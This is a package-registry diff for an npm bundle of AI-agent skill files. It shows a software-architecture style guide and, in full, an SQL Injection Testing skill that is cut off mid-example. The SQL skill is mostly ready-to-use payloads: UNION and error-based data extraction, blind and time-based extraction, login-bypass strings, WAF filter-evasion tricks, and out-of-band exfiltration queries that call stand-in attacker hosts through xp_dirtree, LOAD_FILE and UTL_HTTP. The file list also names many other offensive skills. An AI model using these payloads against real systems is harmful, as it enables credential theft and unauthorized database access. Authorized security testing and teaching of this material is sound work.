@namch/agent-assistant 1.0.0 → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +83 -539
- package/agents/backend-engineer.md +0 -8
- package/agents/brainstormer.md +0 -6
- package/agents/business-analyst.md +0 -5
- package/agents/database-architect.md +0 -6
- package/agents/debugger.md +0 -6
- package/agents/designer.md +0 -5
- package/agents/devops-engineer.md +0 -7
- package/agents/docs-manager.md +0 -6
- package/agents/frontend-engineer.md +0 -7
- package/agents/game-engineer.md +0 -7
- package/agents/mobile-engineer.md +0 -7
- package/agents/performance-engineer.md +0 -7
- package/agents/planner.md +0 -6
- package/agents/project-manager.md +0 -6
- package/agents/researcher.md +0 -5
- package/agents/reviewer.md +0 -6
- package/agents/scouter.md +0 -6
- package/agents/security-engineer.md +0 -7
- package/agents/tech-lead.md +0 -7
- package/agents/tester.md +0 -5
- package/cli/README.md +19 -10
- package/documents/business/business-features.md +1 -1
- package/documents/business/business-prd.md +4 -4
- package/documents/knowledge-architecture.md +1 -1
- package/documents/knowledge-domain.md +1 -1
- package/documents/knowledge-overview.md +14 -29
- package/documents/knowledge-source-base.md +14 -14
- package/package.json +1 -1
- package/rules/QUICK-REFERENCE.md +4 -1
- package/rules/SKILL-DISCOVERY.md +37 -14
- package/skills/active-directory-attacks/SKILL.md +383 -0
- package/skills/active-directory-attacks/references/advanced-attacks.md +382 -0
- package/skills/agent-evaluation/SKILL.md +64 -0
- package/skills/agent-memory-mcp/SKILL.md +82 -0
- package/skills/agent-memory-systems/SKILL.md +67 -0
- package/skills/agent-tool-builder/SKILL.md +53 -0
- package/skills/ai-agents-architect/SKILL.md +90 -0
- package/skills/ai-product/SKILL.md +54 -0
- package/skills/ai-wrapper-product/SKILL.md +273 -0
- package/skills/api-documentation-generator/SKILL.md +484 -0
- package/skills/api-fuzzing-bug-bounty/SKILL.md +433 -0
- package/skills/api-security-best-practices/SKILL.md +907 -0
- package/skills/autonomous-agent-patterns/SKILL.md +761 -0
- package/skills/autonomous-agents/SKILL.md +68 -0
- package/skills/aws-penetration-testing/SKILL.md +405 -0
- package/skills/aws-penetration-testing/references/advanced-aws-pentesting.md +469 -0
- package/skills/azure-functions/SKILL.md +42 -0
- package/skills/backend-dev-guidelines/SKILL.md +342 -0
- package/skills/backend-dev-guidelines/resources/architecture-overview.md +451 -0
- package/skills/backend-dev-guidelines/resources/async-and-errors.md +307 -0
- package/skills/backend-dev-guidelines/resources/complete-examples.md +638 -0
- package/skills/backend-dev-guidelines/resources/configuration.md +275 -0
- package/skills/backend-dev-guidelines/resources/database-patterns.md +224 -0
- package/skills/backend-dev-guidelines/resources/middleware-guide.md +213 -0
- package/skills/backend-dev-guidelines/resources/routing-and-controllers.md +756 -0
- package/skills/backend-dev-guidelines/resources/sentry-and-monitoring.md +336 -0
- package/skills/backend-dev-guidelines/resources/services-and-repositories.md +789 -0
- package/skills/backend-dev-guidelines/resources/testing-guide.md +235 -0
- package/skills/backend-dev-guidelines/resources/validation-patterns.md +754 -0
- package/skills/broken-authentication/SKILL.md +476 -0
- package/skills/bullmq-specialist/SKILL.md +57 -0
- package/skills/bun-development/SKILL.md +691 -0
- package/skills/burp-suite-testing/SKILL.md +380 -0
- package/skills/cloud-penetration-testing/SKILL.md +501 -0
- package/skills/cloud-penetration-testing/references/advanced-cloud-scripts.md +318 -0
- package/skills/computer-use-agents/SKILL.md +315 -0
- package/skills/content-creator/SKILL.md +248 -0
- package/skills/content-creator/assets/content_calendar_template.md +99 -0
- package/skills/content-creator/references/brand_guidelines.md +199 -0
- package/skills/content-creator/references/content_frameworks.md +534 -0
- package/skills/content-creator/references/social_media_optimization.md +317 -0
- package/skills/content-creator/scripts/brand_voice_analyzer.py +185 -0
- package/skills/content-creator/scripts/seo_optimizer.py +419 -0
- package/skills/context-window-management/SKILL.md +53 -0
- package/skills/conversation-memory/SKILL.md +61 -0
- package/skills/copy-editing/SKILL.md +439 -0
- package/skills/copywriting/SKILL.md +225 -0
- package/skills/crewai/SKILL.md +243 -0
- package/skills/discord-bot-architect/SKILL.md +277 -0
- package/skills/dispatching-parallel-agents/SKILL.md +180 -0
- package/skills/email-sequence/SKILL.md +925 -0
- package/skills/email-systems/SKILL.md +54 -0
- package/skills/ethical-hacking-methodology/SKILL.md +466 -0
- package/skills/executing-plans/SKILL.md +76 -0
- package/skills/file-path-traversal/SKILL.md +486 -0
- package/skills/finishing-a-development-branch/SKILL.md +200 -0
- package/skills/frontend-dev-guidelines/SKILL.md +359 -0
- package/skills/frontend-dev-guidelines/resources/common-patterns.md +331 -0
- package/skills/frontend-dev-guidelines/resources/complete-examples.md +872 -0
- package/skills/frontend-dev-guidelines/resources/component-patterns.md +502 -0
- package/skills/frontend-dev-guidelines/resources/data-fetching.md +767 -0
- package/skills/frontend-dev-guidelines/resources/file-organization.md +502 -0
- package/skills/frontend-dev-guidelines/resources/loading-and-error-states.md +501 -0
- package/skills/frontend-dev-guidelines/resources/performance.md +406 -0
- package/skills/frontend-dev-guidelines/resources/routing-guide.md +364 -0
- package/skills/frontend-dev-guidelines/resources/styling-guide.md +428 -0
- package/skills/frontend-dev-guidelines/resources/typescript-standards.md +418 -0
- package/skills/gcp-cloud-run/SKILL.md +288 -0
- package/skills/git-pushing/SKILL.md +33 -0
- package/skills/git-pushing/scripts/smart_commit.sh +19 -0
- package/skills/github-workflow-automation/SKILL.md +846 -0
- package/skills/html-injection-testing/SKILL.md +498 -0
- package/skills/idor-testing/SKILL.md +442 -0
- package/skills/inngest/SKILL.md +55 -0
- package/skills/javascript-mastery/SKILL.md +645 -0
- package/skills/kaizen/SKILL.md +730 -0
- package/skills/langfuse/SKILL.md +238 -0
- package/skills/langgraph/SKILL.md +287 -0
- package/skills/linux-privilege-escalation/SKILL.md +504 -0
- package/skills/llm-app-patterns/SKILL.md +760 -0
- package/skills/metasploit-framework/SKILL.md +478 -0
- package/skills/multi-agent-brainstorming/SKILL.md +256 -0
- package/skills/neon-postgres/SKILL.md +56 -0
- package/skills/nextjs-supabase-auth/SKILL.md +56 -0
- package/skills/nosql-expert/SKILL.md +111 -0
- package/skills/pentest-checklist/SKILL.md +334 -0
- package/skills/pentest-commands/SKILL.md +438 -0
- package/skills/plaid-fintech/SKILL.md +50 -0
- package/skills/planning-with-files/SKILL.md +211 -0
- package/skills/planning-with-files/examples.md +202 -0
- package/skills/planning-with-files/reference.md +218 -0
- package/skills/planning-with-files/scripts/check-complete.sh +44 -0
- package/skills/planning-with-files/scripts/init-session.sh +120 -0
- package/skills/planning-with-files/templates/findings.md +95 -0
- package/skills/planning-with-files/templates/progress.md +114 -0
- package/skills/planning-with-files/templates/task_plan.md +132 -0
- package/skills/privilege-escalation-methods/SKILL.md +333 -0
- package/skills/production-code-audit/SKILL.md +540 -0
- package/skills/prompt-caching/SKILL.md +61 -0
- package/skills/prompt-engineering/SKILL.md +171 -0
- package/skills/prompt-library/SKILL.md +322 -0
- package/skills/rag-engineer/SKILL.md +90 -0
- package/skills/rag-implementation/SKILL.md +63 -0
- package/skills/react-ui-patterns/SKILL.md +289 -0
- package/skills/red-team-tools/SKILL.md +310 -0
- package/skills/scanning-tools/SKILL.md +589 -0
- package/skills/shodan-reconnaissance/SKILL.md +503 -0
- package/skills/slack-bot-builder/SKILL.md +264 -0
- package/skills/smtp-penetration-testing/SKILL.md +500 -0
- package/skills/social-content/SKILL.md +807 -0
- package/skills/software-architecture/SKILL.md +75 -0
- package/skills/sql-injection-testing/SKILL.md +448 -0
- package/skills/sqlmap-database-pentesting/SKILL.md +400 -0
- package/skills/ssh-penetration-testing/SKILL.md +488 -0
- package/skills/stripe-integration/SKILL.md +69 -0
- package/skills/subagent-driven-development/SKILL.md +240 -0
- package/skills/subagent-driven-development/code-quality-reviewer-prompt.md +20 -0
- package/skills/subagent-driven-development/implementer-prompt.md +78 -0
- package/skills/subagent-driven-development/spec-reviewer-prompt.md +61 -0
- package/skills/tavily-web/SKILL.md +36 -0
- package/skills/telegram-bot-builder/SKILL.md +254 -0
- package/skills/test-driven-development/SKILL.md +371 -0
- package/skills/test-driven-development/testing-anti-patterns.md +299 -0
- package/skills/test-fixing/SKILL.md +119 -0
- package/skills/top-web-vulnerabilities/SKILL.md +543 -0
- package/skills/trigger-dev/SKILL.md +67 -0
- package/skills/twilio-communications/SKILL.md +295 -0
- package/skills/upstash-qstash/SKILL.md +68 -0
- package/skills/verification-before-completion/SKILL.md +139 -0
- package/skills/voice-agents/SKILL.md +68 -0
- package/skills/voice-ai-development/SKILL.md +302 -0
- package/skills/windows-privilege-escalation/SKILL.md +496 -0
- package/skills/wireshark-analysis/SKILL.md +497 -0
- package/skills/wordpress-penetration-testing/SKILL.md +485 -0
- package/skills/workflow-automation/SKILL.md +68 -0
- package/skills/xss-html-injection/SKILL.md +499 -0
- package/skills/zapier-make-patterns/SKILL.md +67 -0
|
@@ -0,0 +1,75 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: software-architecture
|
|
3
|
+
description: Guide for quality focused software architecture. This skill should be used when users want to write code, design architecture, analyze code, in any case that relates to software development.
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# Software Architecture Development Skill
|
|
7
|
+
|
|
8
|
+
This skill provides guidance for quality focused software development and architecture. It is based on Clean Architecture and Domain Driven Design principles.
|
|
9
|
+
|
|
10
|
+
## Code Style Rules
|
|
11
|
+
|
|
12
|
+
### General Principles
|
|
13
|
+
|
|
14
|
+
- **Early return pattern**: Always use early returns when possible, over nested conditions for better readability
|
|
15
|
+
- Avoid code duplication through creation of reusable functions and modules
|
|
16
|
+
- Decompose long (more than 80 lines of code) components and functions into multiple smaller components and functions. If they cannot be used anywhere else, keep it in the same file. But if file longer than 200 lines of code, it should be split into multiple files.
|
|
17
|
+
- Use arrow functions instead of function declarations when possible
|
|
18
|
+
|
|
19
|
+
### Best Practices
|
|
20
|
+
|
|
21
|
+
#### Library-First Approach
|
|
22
|
+
|
|
23
|
+
- **ALWAYS search for existing solutions before writing custom code**
|
|
24
|
+
- Check npm for existing libraries that solve the problem
|
|
25
|
+
- Evaluate existing services/SaaS solutions
|
|
26
|
+
- Consider third-party APIs for common functionality
|
|
27
|
+
- Use libraries instead of writing your own utils or helpers. For example, use `cockatiel` instead of writing your own retry logic.
|
|
28
|
+
- **When custom code IS justified:**
|
|
29
|
+
- Specific business logic unique to the domain
|
|
30
|
+
- Performance-critical paths with special requirements
|
|
31
|
+
- When external dependencies would be overkill
|
|
32
|
+
- Security-sensitive code requiring full control
|
|
33
|
+
- When existing solutions don't meet requirements after thorough evaluation
|
|
34
|
+
|
|
35
|
+
#### Architecture and Design
|
|
36
|
+
|
|
37
|
+
- **Clean Architecture & DDD Principles:**
|
|
38
|
+
- Follow domain-driven design and ubiquitous language
|
|
39
|
+
- Separate domain entities from infrastructure concerns
|
|
40
|
+
- Keep business logic independent of frameworks
|
|
41
|
+
- Define use cases clearly and keep them isolated
|
|
42
|
+
- **Naming Conventions:**
|
|
43
|
+
- **AVOID** generic names: `utils`, `helpers`, `common`, `shared`
|
|
44
|
+
- **USE** domain-specific names: `OrderCalculator`, `UserAuthenticator`, `InvoiceGenerator`
|
|
45
|
+
- Follow bounded context naming patterns
|
|
46
|
+
- Each module should have a single, clear purpose
|
|
47
|
+
- **Separation of Concerns:**
|
|
48
|
+
- Do NOT mix business logic with UI components
|
|
49
|
+
- Keep database queries out of controllers
|
|
50
|
+
- Maintain clear boundaries between contexts
|
|
51
|
+
- Ensure proper separation of responsibilities
|
|
52
|
+
|
|
53
|
+
#### Anti-Patterns to Avoid
|
|
54
|
+
|
|
55
|
+
- **NIH (Not Invented Here) Syndrome:**
|
|
56
|
+
- Don't build custom auth when Auth0/Supabase exists
|
|
57
|
+
- Don't write custom state management instead of using Redux/Zustand
|
|
58
|
+
- Don't create custom form validation instead of using established libraries
|
|
59
|
+
- **Poor Architectural Choices:**
|
|
60
|
+
- Mixing business logic with UI components
|
|
61
|
+
- Database queries directly in controllers
|
|
62
|
+
- Lack of clear separation of concerns
|
|
63
|
+
- **Generic Naming Anti-Patterns:**
|
|
64
|
+
- `utils.js` with 50 unrelated functions
|
|
65
|
+
- `helpers/misc.js` as a dumping ground
|
|
66
|
+
- `common/shared.js` with unclear purpose
|
|
67
|
+
- Remember: Every line of custom code is a liability that needs maintenance, testing, and documentation
|
|
68
|
+
|
|
69
|
+
#### Code Quality
|
|
70
|
+
|
|
71
|
+
- Proper error handling with typed catch blocks
|
|
72
|
+
- Break down complex logic into smaller, reusable functions
|
|
73
|
+
- Avoid deep nesting (max 3 levels)
|
|
74
|
+
- Keep functions focused and under 50 lines when possible
|
|
75
|
+
- Keep files focused and under 200 lines of code when possible
|
|
@@ -0,0 +1,448 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: SQL Injection Testing
|
|
3
|
+
description: This skill should be used when the user asks to "test for SQL injection vulnerabilities", "perform SQLi attacks", "bypass authentication using SQL injection", "extract database information through injection", "detect SQL injection flaws", or "exploit database query vulnerabilities". It provides comprehensive techniques for identifying, exploiting, and understanding SQL injection attack vectors across different database systems.
|
|
4
|
+
metadata:
|
|
5
|
+
author: zebbern
|
|
6
|
+
version: "1.1"
|
|
7
|
+
---
|
|
8
|
+
|
|
9
|
+
# SQL Injection Testing
|
|
10
|
+
|
|
11
|
+
## Purpose
|
|
12
|
+
|
|
13
|
+
Execute comprehensive SQL injection vulnerability assessments on web applications to identify database security flaws, demonstrate exploitation techniques, and validate input sanitization mechanisms. This skill enables systematic detection and exploitation of SQL injection vulnerabilities across in-band, blind, and out-of-band attack vectors to assess application security posture.
|
|
14
|
+
|
|
15
|
+
## Inputs / Prerequisites
|
|
16
|
+
|
|
17
|
+
### Required Access
|
|
18
|
+
- Target web application URL with injectable parameters
|
|
19
|
+
- Burp Suite or equivalent proxy tool for request manipulation
|
|
20
|
+
- SQLMap installation for automated exploitation
|
|
21
|
+
- Browser with developer tools enabled
|
|
22
|
+
|
|
23
|
+
### Technical Requirements
|
|
24
|
+
- Understanding of SQL query syntax (MySQL, MSSQL, PostgreSQL, Oracle)
|
|
25
|
+
- Knowledge of HTTP request/response cycle
|
|
26
|
+
- Familiarity with database schemas and structures
|
|
27
|
+
- Write permissions for testing reports
|
|
28
|
+
|
|
29
|
+
### Legal Prerequisites
|
|
30
|
+
- Written authorization for penetration testing
|
|
31
|
+
- Defined scope including target URLs and parameters
|
|
32
|
+
- Emergency contact procedures established
|
|
33
|
+
- Data handling agreements in place
|
|
34
|
+
|
|
35
|
+
## Outputs / Deliverables
|
|
36
|
+
|
|
37
|
+
### Primary Outputs
|
|
38
|
+
- SQL injection vulnerability report with severity ratings
|
|
39
|
+
- Extracted database schemas and table structures
|
|
40
|
+
- Authentication bypass proof-of-concept demonstrations
|
|
41
|
+
- Remediation recommendations with code examples
|
|
42
|
+
|
|
43
|
+
### Evidence Artifacts
|
|
44
|
+
- Screenshots of successful injections
|
|
45
|
+
- HTTP request/response logs
|
|
46
|
+
- Database dumps (sanitized)
|
|
47
|
+
- Payload documentation
|
|
48
|
+
|
|
49
|
+
## Core Workflow
|
|
50
|
+
|
|
51
|
+
### Phase 1: Detection and Reconnaissance
|
|
52
|
+
|
|
53
|
+
#### Identify Injectable Parameters
|
|
54
|
+
Locate user-controlled input fields that interact with database queries:
|
|
55
|
+
|
|
56
|
+
```
|
|
57
|
+
# Common injection points
|
|
58
|
+
- URL parameters: ?id=1, ?user=admin, ?category=books
|
|
59
|
+
- Form fields: username, password, search, comments
|
|
60
|
+
- Cookie values: session_id, user_preference
|
|
61
|
+
- HTTP headers: User-Agent, Referer, X-Forwarded-For
|
|
62
|
+
```
|
|
63
|
+
|
|
64
|
+
#### Test for Basic Vulnerability Indicators
|
|
65
|
+
Insert special characters to trigger error responses:
|
|
66
|
+
|
|
67
|
+
```sql
|
|
68
|
+
-- Single quote test
|
|
69
|
+
'
|
|
70
|
+
|
|
71
|
+
-- Double quote test
|
|
72
|
+
"
|
|
73
|
+
|
|
74
|
+
-- Comment sequences
|
|
75
|
+
--
|
|
76
|
+
#
|
|
77
|
+
/**/
|
|
78
|
+
|
|
79
|
+
-- Semicolon for query stacking
|
|
80
|
+
;
|
|
81
|
+
|
|
82
|
+
-- Parentheses
|
|
83
|
+
)
|
|
84
|
+
```
|
|
85
|
+
|
|
86
|
+
Monitor application responses for:
|
|
87
|
+
- Database error messages revealing query structure
|
|
88
|
+
- Unexpected application behavior changes
|
|
89
|
+
- HTTP 500 Internal Server errors
|
|
90
|
+
- Modified response content or length
|
|
91
|
+
|
|
92
|
+
#### Logic Testing Payloads
|
|
93
|
+
Verify boolean-based vulnerability presence:
|
|
94
|
+
|
|
95
|
+
```sql
|
|
96
|
+
-- True condition tests
|
|
97
|
+
page.asp?id=1 or 1=1
|
|
98
|
+
page.asp?id=1' or 1=1--
|
|
99
|
+
page.asp?id=1" or 1=1--
|
|
100
|
+
|
|
101
|
+
-- False condition tests
|
|
102
|
+
page.asp?id=1 and 1=2
|
|
103
|
+
page.asp?id=1' and 1=2--
|
|
104
|
+
```
|
|
105
|
+
|
|
106
|
+
Compare responses between true and false conditions to confirm injection capability.
|
|
107
|
+
|
|
108
|
+
### Phase 2: Exploitation Techniques
|
|
109
|
+
|
|
110
|
+
#### UNION-Based Extraction
|
|
111
|
+
Combine attacker-controlled SELECT statements with original query:
|
|
112
|
+
|
|
113
|
+
```sql
|
|
114
|
+
-- Determine column count
|
|
115
|
+
ORDER BY 1--
|
|
116
|
+
ORDER BY 2--
|
|
117
|
+
ORDER BY 3--
|
|
118
|
+
-- Continue until error occurs
|
|
119
|
+
|
|
120
|
+
-- Find displayable columns
|
|
121
|
+
UNION SELECT NULL,NULL,NULL--
|
|
122
|
+
UNION SELECT 'a',NULL,NULL--
|
|
123
|
+
UNION SELECT NULL,'a',NULL--
|
|
124
|
+
|
|
125
|
+
-- Extract data
|
|
126
|
+
UNION SELECT username,password,NULL FROM users--
|
|
127
|
+
UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
|
|
128
|
+
UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
|
|
129
|
+
```
|
|
130
|
+
|
|
131
|
+
#### Error-Based Extraction
|
|
132
|
+
Force database errors that leak information:
|
|
133
|
+
|
|
134
|
+
```sql
|
|
135
|
+
-- MSSQL version extraction
|
|
136
|
+
1' AND 1=CONVERT(int,(SELECT @@version))--
|
|
137
|
+
|
|
138
|
+
-- MySQL extraction via XPATH
|
|
139
|
+
1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))--
|
|
140
|
+
|
|
141
|
+
-- PostgreSQL cast errors
|
|
142
|
+
1' AND 1=CAST((SELECT version()) AS int)--
|
|
143
|
+
```
|
|
144
|
+
|
|
145
|
+
#### Blind Boolean-Based Extraction
|
|
146
|
+
Infer data through application behavior changes:
|
|
147
|
+
|
|
148
|
+
```sql
|
|
149
|
+
-- Character extraction
|
|
150
|
+
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
|
|
151
|
+
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'--
|
|
152
|
+
|
|
153
|
+
-- Conditional responses
|
|
154
|
+
1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--
|
|
155
|
+
```
|
|
156
|
+
|
|
157
|
+
#### Time-Based Blind Extraction
|
|
158
|
+
Use database sleep functions for confirmation:
|
|
159
|
+
|
|
160
|
+
```sql
|
|
161
|
+
-- MySQL
|
|
162
|
+
1' AND IF(1=1,SLEEP(5),0)--
|
|
163
|
+
1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)--
|
|
164
|
+
|
|
165
|
+
-- MSSQL
|
|
166
|
+
1'; WAITFOR DELAY '0:0:5'--
|
|
167
|
+
|
|
168
|
+
-- PostgreSQL
|
|
169
|
+
1'; SELECT pg_sleep(5)--
|
|
170
|
+
```
|
|
171
|
+
|
|
172
|
+
#### Out-of-Band (OOB) Extraction
|
|
173
|
+
Exfiltrate data through external channels:
|
|
174
|
+
|
|
175
|
+
```sql
|
|
176
|
+
-- MSSQL DNS exfiltration
|
|
177
|
+
1; EXEC master..xp_dirtree '\\attacker-server.com\share'--
|
|
178
|
+
|
|
179
|
+
-- MySQL DNS exfiltration
|
|
180
|
+
1' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))--
|
|
181
|
+
|
|
182
|
+
-- Oracle HTTP request
|
|
183
|
+
1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--
|
|
184
|
+
```
|
|
185
|
+
|
|
186
|
+
### Phase 3: Authentication Bypass
|
|
187
|
+
|
|
188
|
+
#### Login Form Exploitation
|
|
189
|
+
Craft payloads to bypass credential verification:
|
|
190
|
+
|
|
191
|
+
```sql
|
|
192
|
+
-- Classic bypass
|
|
193
|
+
admin'--
|
|
194
|
+
admin'/*
|
|
195
|
+
' OR '1'='1
|
|
196
|
+
' OR '1'='1'--
|
|
197
|
+
' OR '1'='1'/*
|
|
198
|
+
') OR ('1'='1
|
|
199
|
+
') OR ('1'='1'--
|
|
200
|
+
|
|
201
|
+
-- Username enumeration
|
|
202
|
+
admin' AND '1'='1
|
|
203
|
+
admin' AND '1'='2
|
|
204
|
+
```
|
|
205
|
+
|
|
206
|
+
Query transformation example:
|
|
207
|
+
```sql
|
|
208
|
+
-- Original query
|
|
209
|
+
SELECT * FROM users WHERE username='input' AND password='input'
|
|
210
|
+
|
|
211
|
+
-- Injected (username: admin'--)
|
|
212
|
+
SELECT * FROM users WHERE username='admin'--' AND password='anything'
|
|
213
|
+
-- Password check bypassed via comment
|
|
214
|
+
```
|
|
215
|
+
|
|
216
|
+
### Phase 4: Filter Bypass Techniques
|
|
217
|
+
|
|
218
|
+
#### Character Encoding Bypass
|
|
219
|
+
When special characters are blocked:
|
|
220
|
+
|
|
221
|
+
```sql
|
|
222
|
+
-- URL encoding
|
|
223
|
+
%27 (single quote)
|
|
224
|
+
%22 (double quote)
|
|
225
|
+
%23 (hash)
|
|
226
|
+
|
|
227
|
+
-- Double URL encoding
|
|
228
|
+
%2527 (single quote)
|
|
229
|
+
|
|
230
|
+
-- Unicode alternatives
|
|
231
|
+
U+0027 (apostrophe)
|
|
232
|
+
U+02B9 (modifier letter prime)
|
|
233
|
+
|
|
234
|
+
-- Hexadecimal strings (MySQL)
|
|
235
|
+
SELECT * FROM users WHERE name=0x61646D696E -- 'admin' in hex
|
|
236
|
+
```
|
|
237
|
+
|
|
238
|
+
#### Whitespace Bypass
|
|
239
|
+
Substitute blocked spaces:
|
|
240
|
+
|
|
241
|
+
```sql
|
|
242
|
+
-- Comment substitution
|
|
243
|
+
SELECT/**/username/**/FROM/**/users
|
|
244
|
+
SEL/**/ECT/**/username/**/FR/**/OM/**/users
|
|
245
|
+
|
|
246
|
+
-- Alternative whitespace
|
|
247
|
+
SELECT%09username%09FROM%09users -- Tab character
|
|
248
|
+
SELECT%0Ausername%0AFROM%0Ausers -- Newline
|
|
249
|
+
```
|
|
250
|
+
|
|
251
|
+
#### Keyword Bypass
|
|
252
|
+
Evade blacklisted SQL keywords:
|
|
253
|
+
|
|
254
|
+
```sql
|
|
255
|
+
-- Case variation
|
|
256
|
+
SeLeCt, sElEcT, SELECT
|
|
257
|
+
|
|
258
|
+
-- Inline comments
|
|
259
|
+
SEL/*bypass*/ECT
|
|
260
|
+
UN/*bypass*/ION
|
|
261
|
+
|
|
262
|
+
-- Double writing (if filter removes once)
|
|
263
|
+
SELSELECTECT → SELECT
|
|
264
|
+
UNUNIONION → UNION
|
|
265
|
+
|
|
266
|
+
-- Null byte injection
|
|
267
|
+
%00SELECT
|
|
268
|
+
SEL%00ECT
|
|
269
|
+
```
|
|
270
|
+
|
|
271
|
+
## Quick Reference
|
|
272
|
+
|
|
273
|
+
### Detection Test Sequence
|
|
274
|
+
```
|
|
275
|
+
1. Insert ' → Check for error
|
|
276
|
+
2. Insert " → Check for error
|
|
277
|
+
3. Try: OR 1=1-- → Check for behavior change
|
|
278
|
+
4. Try: AND 1=2-- → Check for behavior change
|
|
279
|
+
5. Try: ' WAITFOR DELAY '0:0:5'-- → Check for delay
|
|
280
|
+
```
|
|
281
|
+
|
|
282
|
+
### Database Fingerprinting
|
|
283
|
+
```sql
|
|
284
|
+
-- MySQL
|
|
285
|
+
SELECT @@version
|
|
286
|
+
SELECT version()
|
|
287
|
+
|
|
288
|
+
-- MSSQL
|
|
289
|
+
SELECT @@version
|
|
290
|
+
SELECT @@servername
|
|
291
|
+
|
|
292
|
+
-- PostgreSQL
|
|
293
|
+
SELECT version()
|
|
294
|
+
|
|
295
|
+
-- Oracle
|
|
296
|
+
SELECT banner FROM v$version
|
|
297
|
+
SELECT * FROM v$version
|
|
298
|
+
```
|
|
299
|
+
|
|
300
|
+
### Information Schema Queries
|
|
301
|
+
```sql
|
|
302
|
+
-- MySQL/MSSQL table enumeration
|
|
303
|
+
SELECT table_name FROM information_schema.tables WHERE table_schema=database()
|
|
304
|
+
|
|
305
|
+
-- Column enumeration
|
|
306
|
+
SELECT column_name FROM information_schema.columns WHERE table_name='users'
|
|
307
|
+
|
|
308
|
+
-- Oracle equivalent
|
|
309
|
+
SELECT table_name FROM all_tables
|
|
310
|
+
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
|
|
311
|
+
```
|
|
312
|
+
|
|
313
|
+
### Common Payloads Quick List
|
|
314
|
+
| Purpose | Payload |
|
|
315
|
+
|---------|---------|
|
|
316
|
+
| Basic test | `'` or `"` |
|
|
317
|
+
| Boolean true | `OR 1=1--` |
|
|
318
|
+
| Boolean false | `AND 1=2--` |
|
|
319
|
+
| Comment (MySQL) | `#` or `-- ` |
|
|
320
|
+
| Comment (MSSQL) | `--` |
|
|
321
|
+
| UNION probe | `UNION SELECT NULL--` |
|
|
322
|
+
| Time delay | `AND SLEEP(5)--` |
|
|
323
|
+
| Auth bypass | `' OR '1'='1` |
|
|
324
|
+
|
|
325
|
+
## Constraints and Guardrails
|
|
326
|
+
|
|
327
|
+
### Operational Boundaries
|
|
328
|
+
- Never execute destructive queries (DROP, DELETE, TRUNCATE) without explicit authorization
|
|
329
|
+
- Limit data extraction to proof-of-concept quantities
|
|
330
|
+
- Avoid denial-of-service through resource-intensive queries
|
|
331
|
+
- Stop immediately upon detecting production database with real user data
|
|
332
|
+
|
|
333
|
+
### Technical Limitations
|
|
334
|
+
- WAF/IPS may block common payloads requiring evasion techniques
|
|
335
|
+
- Parameterized queries prevent standard injection
|
|
336
|
+
- Some blind injection requires extensive requests (rate limiting concerns)
|
|
337
|
+
- Second-order injection requires understanding of data flow
|
|
338
|
+
|
|
339
|
+
### Legal and Ethical Requirements
|
|
340
|
+
- Written scope agreement must exist before testing
|
|
341
|
+
- Document all extracted data and handle per data protection requirements
|
|
342
|
+
- Report critical vulnerabilities immediately through agreed channels
|
|
343
|
+
- Never access data beyond scope requirements
|
|
344
|
+
|
|
345
|
+
## Examples
|
|
346
|
+
|
|
347
|
+
### Example 1: E-commerce Product Page SQLi
|
|
348
|
+
|
|
349
|
+
**Scenario**: Testing product display page with ID parameter
|
|
350
|
+
|
|
351
|
+
**Initial Request**:
|
|
352
|
+
```
|
|
353
|
+
GET /product.php?id=5 HTTP/1.1
|
|
354
|
+
```
|
|
355
|
+
|
|
356
|
+
**Detection Test**:
|
|
357
|
+
```
|
|
358
|
+
GET /product.php?id=5' HTTP/1.1
|
|
359
|
+
Response: MySQL error - syntax error near '''
|
|
360
|
+
```
|
|
361
|
+
|
|
362
|
+
**Column Enumeration**:
|
|
363
|
+
```
|
|
364
|
+
GET /product.php?id=5 ORDER BY 4-- HTTP/1.1
|
|
365
|
+
Response: Normal
|
|
366
|
+
GET /product.php?id=5 ORDER BY 5-- HTTP/1.1
|
|
367
|
+
Response: Error (4 columns confirmed)
|
|
368
|
+
```
|
|
369
|
+
|
|
370
|
+
**Data Extraction**:
|
|
371
|
+
```
|
|
372
|
+
GET /product.php?id=-5 UNION SELECT 1,username,password,4 FROM admin_users-- HTTP/1.1
|
|
373
|
+
Response: Displays admin credentials
|
|
374
|
+
```
|
|
375
|
+
|
|
376
|
+
### Example 2: Blind Time-Based Extraction
|
|
377
|
+
|
|
378
|
+
**Scenario**: No visible output, testing for blind injection
|
|
379
|
+
|
|
380
|
+
**Confirm Vulnerability**:
|
|
381
|
+
```sql
|
|
382
|
+
id=5' AND SLEEP(5)--
|
|
383
|
+
-- Response delayed by 5 seconds (vulnerable confirmed)
|
|
384
|
+
```
|
|
385
|
+
|
|
386
|
+
**Extract Database Name Length**:
|
|
387
|
+
```sql
|
|
388
|
+
id=5' AND IF(LENGTH(database())=8,SLEEP(5),0)--
|
|
389
|
+
-- Delay confirms database name is 8 characters
|
|
390
|
+
```
|
|
391
|
+
|
|
392
|
+
**Extract Characters**:
|
|
393
|
+
```sql
|
|
394
|
+
id=5' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--
|
|
395
|
+
-- Iterate through characters to extract: 'appstore'
|
|
396
|
+
```
|
|
397
|
+
|
|
398
|
+
### Example 3: Login Bypass
|
|
399
|
+
|
|
400
|
+
**Target**: Admin login form
|
|
401
|
+
|
|
402
|
+
**Standard Login Query**:
|
|
403
|
+
```sql
|
|
404
|
+
SELECT * FROM users WHERE username='[input]' AND password='[input]'
|
|
405
|
+
```
|
|
406
|
+
|
|
407
|
+
**Injection Payload**:
|
|
408
|
+
```
|
|
409
|
+
Username: administrator'--
|
|
410
|
+
Password: anything
|
|
411
|
+
```
|
|
412
|
+
|
|
413
|
